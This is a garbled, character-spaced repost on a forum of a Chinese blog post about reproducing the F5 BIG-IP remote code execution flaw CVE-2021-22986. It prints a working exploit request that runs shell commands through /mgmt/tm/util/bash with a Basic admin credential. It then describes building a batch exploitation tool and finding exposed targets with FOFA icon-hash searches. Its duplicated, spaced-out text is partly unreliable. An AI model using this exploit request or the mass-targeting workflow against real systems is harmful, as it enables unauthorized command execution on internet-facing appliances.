搜索

[7549] 2021-03-29_脚本小子是如何复现漏洞(CVE-2021-22986)并实现批量利用

文档创建者：s7ckTeam
浏览次数：28
最后更新：2025-01-17
2021-03-29_脚本小子是如何复现漏洞(CVE-2021-22986)并实现批量利用 脚 本 小 子 是 如 何 复 现 漏 洞 ( C V E - 2 0 2 1 - 2 2 9 8 6 ) 并 实 现 批 量 利 用 F 1 2 s e c   2 0 2 1 - 0 3 - 2 9 编 者 荐 语 ： 小 编 推 荐 高 质 量 文 以 下 文 章 来 源 于 雷 石 安 全 实 验 室   ， 作 者 唐 小 风 伊 始 伊 始 前 几 天 看 了 眼 前 几 天 看 了 眼 F 5 - R C E 的 的 p o c ， 复 制 粘 贴 了 一 下 。 ， 复 制 粘 贴 了 一 下 。   荣 获 脚 本 小 子 称 号 。 。 。 雷 石 安 全 实 验 室 雷 石 安 全 实 验 室   . 雷 石 安 全 实 验 室 以 团 队 公 众 号 为 平 台 向 安 全 工 作 者 不 定 期 分 享 渗 透 、 A P T 、 企 业 安 全 建 设 等 新 鲜 干 货 ， 团 队 公 众 号 致 力 于 成 为 一 个 实 用 干 货 分 享 型 公 众 号 。
漏 洞 复 现 漏 洞 复 现 注 册 账 号 ： 注 册 账 号 ： h t t p s : / / l o g i n . f 5 . c o m / r e s o u r c e / r e g i s t e r E m a i l . d o 邮 箱 激 活 之 后 ， 来 下 载 。 邮 箱 激 活 之 后 ， 来 下 载 。  
因 为 下 载 的 是 因 为 下 载 的 是 o v a 格 式 的 ， 我 的 电 脑 是 格 式 的 ， 我 的 电 脑 是 m a c ， 所 以 用 了 ， 所 以 用 了 V M w a r e   F u s i o n   P r o 来 运 行 它 来 运 行 它 导 入 完 成 后 ， 输 入 导 入 完 成 后 ， 输 入
用 户 名 ： 用 户 名 ： r o o t 密 码 ： 密 码 ： d e f a u l t 成 功 登 陆 后 ， 输 入 成 功 登 陆 后 ， 输 入 c o n f i g   确 定 服 务 确 定 服 务 i p 直 接 登 陆 后 可 以 命 令 执 行 。 直 接 登 陆 后 可 以 命 令 执 行 。
不 过 跟 公 开 的 不 过 跟 公 开 的 p o c 不 太 一 样 ， 因 为 他 的 认 证 方 式 是 不 太 一 样 ， 因 为 他 的 认 证 方 式 是 c o o k i e ， 同 时 我 们 需 要 知 道 后 台 账 号 密 码 才 可 以 ， 同 时 我 们 需 要 知 道 后 台 账 号 密 码 才 可 以 r c e 。 。 X - F 5 - A u t h - T o k e n :   A u t h o r i z a t i o n :   B a s i c   Y W R t a W 4 6 Q V N h c 1 M = 又 去 看 了 之 前 发 布 的 公 告 ， 漏 洞 影 响 的 版 本 范 围 。 又 去 看 了 之 前 发 布 的 公 告 ， 漏 洞 影 响 的 版 本 范 围 。 于 是 我 去 下 载 了 于 是 我 去 下 载 了 1 6 . 0 . 0
p o c 直 接 打 本 地 ， 成 功 直 接 打 本 地 ， 成 功 P O S T   / m g m t / t m / u t i l / b a s h   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 0 5 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 6 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 6 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 X - F 5 - A u t h - T o k e n :   A u t h o r i z a t i o n :   B a s i c   Y W R t a W 4 6 Q V N h c 1 M = C o n t e n t - L e n g t h :   4 7 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 0 . 1 0 3 / t m u i / l o g i n . j s p U p g r a d e - I n s e c u r e - R e q u e s t s :   1 {   " c o m m a n d " : " r u n " ,   " u t i l C m d A r g s " : " - c   i d " }
批 量 利 用 工 具 编 写 批 量 利 用 工 具 编 写 这 个 时 候 我 们 必 须 这 个 时 候 我 们 必 须 D i y 下 漏 洞 批 量 工 具 。 下 漏 洞 批 量 工 具 。 前 往 前 往 h t t p s : / / g i t h u b . c o m / t a n g x i a o f e n g 7 / T S L a b - E x p l o i t 下 载 我 之 前 写 过 的 脚 手 架 。 下 载 我 之 前 写 过 的 脚 手 架 。 i d e a 打 开 它 打 开 它   打 开 打 开 T o o l s 类 类
增 加 一 个 增 加 一 个 i f 语 句 语 句
接 着 到 接 着 到 e x p l o i t 包 下 新 建 一 个 类 包 下 新 建 一 个 类 - f 5 _ r c e   名 字 要 跟 刚 刚 名 字 要 跟 刚 刚 n e w 的 函 数 对 应 的 函 数 对 应
一 顿 操 作 完 之 后 。 。 。 一 顿 操 作 完 之 后 。 。 。 f o f a 搜 素 资 产 搜 素 资 产 使 用 使 用 f o f a 搜 索 搜 索 i c o n _ h a s h = " x x x x x x " 《 清 水 师 傅 提 供 的 》 《 清 水 师 傅 提 供 的 》
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理